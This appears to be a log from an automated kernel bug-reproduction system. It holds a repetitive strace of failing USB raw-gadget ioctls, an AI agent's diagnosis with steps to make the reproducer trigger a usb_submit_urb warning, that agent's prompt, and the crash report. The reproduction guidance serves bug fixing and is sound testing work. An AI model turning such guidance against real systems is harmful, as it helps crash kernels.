[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[pid 5870] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7f71b11f9080) = -1 EINVAL (Invalid argument)
[host] Command execution timed out after 2m30s
]
|
| 144/3 |
2026/09/11 22:38 |
agent |
repro-oracle |
0m
Model:
Results: map[Feedback:The reproduction attempt failed. The program timed out after 2m30s without triggering the bug.
Console logs show that the dummy HCD failed to enumerate the USB device:
[ 70.345385][ T5707] usb 1-1: device descriptor read/64, error -110
[ 71.555723][ T5707] usb usb1-port1: unable to enumerate USB device
Additionally, the kernel logged: `raw-gadget.0 gadget.0: ignoring, device is not running`.
Strace output reveals that the reproducer is stuck in a busy loop calling `ioctl(3, USB_RAW_IOCTL_EVENT_FETCH)` (which corresponds to `_IOC(_IOC_READ, 0x55, 0x2, 0x48)`), and it is repeatedly returning `-1 EINVAL`.
In the `raw-gadget` driver, `USB_RAW_IOCTL_EVENT_FETCH` returns `-EINVAL` if the gadget is not in the `STATE_RUNNING` state.
To fix this:
1. Ensure that `USB_RAW_IOCTL_RUN` is successfully called and check its return value before attempting to fetch events.
2. If `USB_RAW_IOCTL_RUN` is successful, the reproducer must correctly handle endpoint 0 setup requests. When a `USB_RAW_EVENT_CONTROL` event is received, the reproducer must parse the setup packet and respond with the appropriate descriptors (Device, Configuration, etc.) using `USB_RAW_IOCTL_EP0_WRITE` or `USB_RAW_IOCTL_EP0_READ`. If the reproducer does not respond to the host's `Get Descriptor` requests, the enumeration will fail with error `-110` (timeout), and the device will not be instantiated.
3. Make sure to handle `EINVAL` or other errors from `EVENT_FETCH` gracefully rather than busy-looping indefinitely. ProbePassed:false TerminalError: TitleMatches:false]
Instruction: You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.
=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
meaning the codebase version is mismatched and the target code is absent.
=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.
=== PHASE 2: BUG REPRODUCTION (EVALUATION) ===
The executed program was a full reproducer candidate attempting to trigger the target bug/crash.
Use this to guide your classification and feedback:
1. If a crash was triggered (Reproduced is true):
- Determine if the triggered crash matches the expected bug.
- If you conclude they represent the same underlying bug (the same root cause)
despite different titles, crash signatures, or call traces, set TitleMatches
to true and provide a detailed, technical, and verbose explanation of the
equivalence in the 'Feedback' field.
- If they do not represent the same bug (a completely unrelated crash/collision),
set TitleMatches to false and explain the collision in 'Feedback'.
- If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
2. If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
- The reproduction attempt failed to trigger the bug. Analyze the console/strace output
to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
and provide feedback on how to improve the reproducer logic to trigger the crash.
Critical Diagnostic Rule for Reproduction Failures:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Provide a clear technical diagnosis in the feedback identifying the failing call,
return code (errno), and error messages so the strategy-refiner can analyze the root cause.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
